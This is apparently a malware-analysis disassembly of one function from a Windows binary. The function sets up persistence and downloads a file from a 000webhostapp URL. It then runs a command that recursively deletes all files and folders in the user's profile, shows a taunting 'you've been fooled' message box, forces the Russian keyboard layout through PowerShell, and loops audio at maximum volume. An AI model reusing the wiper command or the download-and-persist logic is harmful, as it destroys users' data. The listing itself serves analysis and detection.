Function at 0x140001f66
Capabilities:
Execute command
Self delete

Disassembly:
push rbp
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xb0]
call sym.__main
lea rax, [0x14000727e]
mov rcx, rax
call sym.AjouterFichier_char_const_
call sym.Persistance__
lea rax, str.https:__trial_and_error_blu.000webhostapp.com_T.wav
mov qword [rbp - 8], rax
lea rax, [0x140007154]
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.DownloadFile_char_const__char_const_
test al, al
je 0x140001fe7
lea rax, str.telechargement_avec_succes
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140007850]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x140002012
lea rax, str.error_de_telechargement
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140007850]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
call sym.MoveFileSystem__
lea rax, [rbp - 0x80]
mov r8d, 2
lea rdx, [0x140007154]
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__6___std::filesystem::__cxx11.path__char_const_____6___std::filesystem::__cxx11::path::format_
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::filesystem::remove_std::filesystem::__cxx11::path_const_
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, str.cd___USERPROFILE___del__Q__S___for__D__d_in____do__rmdir__Q__S___d_
mov rcx, rax
call sym.system
mov r9d, 0x30
lea r8, str.Warning
lea rax, str.I_deleted_all_the_files_and_folders_from_your_session__its_too_late__youve_been_fooled._sign_Tina
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 1
jne 0x140002096
lea rax, str.powershell_Set_WinUserLanguageList__LanguageList_ru_RU__Force
mov rcx, rax
call sym.system
jmp 0x1400020a5
lea rax, str.powershell_Set_WinUserLanguageList__LanguageList_ru_RU__Force
mov rcx, rax
call sym.system
lea rax, [rbp - 0x21]
mov qword [rbp - 0x20], rax
nop
nop
lea rdx, [rbp - 0x21]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.C:ZT.wav
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x50]
lea rdx, [method.Alban.TurnUpTheVolumeAllTheWayUp__]
mov rcx, rax
call method.Florian.MusicPlaybackInfiniteLoop_F_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__void______
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x21]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, 0
jmp 0x140002142
add rsp, 0xb8
pop rbx
pop rbp
ret